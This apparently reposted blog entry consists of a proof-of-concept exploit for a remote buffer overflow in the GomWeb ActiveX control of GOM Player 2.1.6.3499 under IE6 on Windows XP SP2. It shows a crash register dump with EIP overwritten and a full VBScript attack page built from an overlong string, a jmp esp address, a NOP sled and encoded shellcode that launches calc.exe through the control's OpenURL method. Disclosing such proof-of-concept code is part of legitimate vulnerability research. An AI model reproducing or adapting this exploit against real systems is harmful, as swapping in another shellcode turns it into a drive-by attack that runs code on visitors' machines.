gom播放器远程缓冲区溢出

最新推荐文章于 2024-09-28 22:14:51 发布

kzh4435

最新推荐文章于 2024-09-28 22:14:51 发布

阅读量623

点赞数

文章标签： microsoft vbscript object c string report

本文链接：https://blog.csdn.net/kzh4435/article/details/1854745

版权

<!--
GOM Player 2.1.6.3499 GomWeb Control (GomWeb3.dll 1.0.0.12) remote buffer
overflow poc exploit (ie6/xp sp2)

quote from Wikipedia: "GOM Player(Gretech Online Movie Player) is South
Korea's most popular media player; as of July 2007, it had 8.4 million users,
compared to 5.4 million of Microsoft's Windows Media Player. Users most
commonly use the player to watch pornography..."
mphhh ...

passing more than 506 "A" to OpenUrl method:

EAX 00000000
ECX 7C80240F kernel32.7C80240F
EDX 7C91EB94 ntdll.KiFastSystemCallRet
EBX 00000000
ESP 0012CDD0 ASCII "AAAAAAAAAAAAAAAAAA...
EBP 0012DE08
ESI 003390B0
EDI 0000102A
EIP 41414141

object safety report:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data

software site: http://www.gomplayer.com/main.html

rgod
site: http://retrogod.altervista.org
-->
<html>
<object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='GomManager' /></object>
<script language='vbscript'>
//open calc.exe
scode =      unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
             unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
             unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
             unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
             unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
             unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
             unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
             unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
             unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
             unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
             unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
             unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
             unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
             unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
             unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
             unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
             unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
             unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
             unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
             unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
             unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
             unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
eip = unescape("%67%31%41%7e") 'jmp esp kernel32.dll
nop = String(48, unescape("%90"))
sURL=String(506, "A") + eip + nop + scode
GomManager.OpenURL sURL
</script>
</html>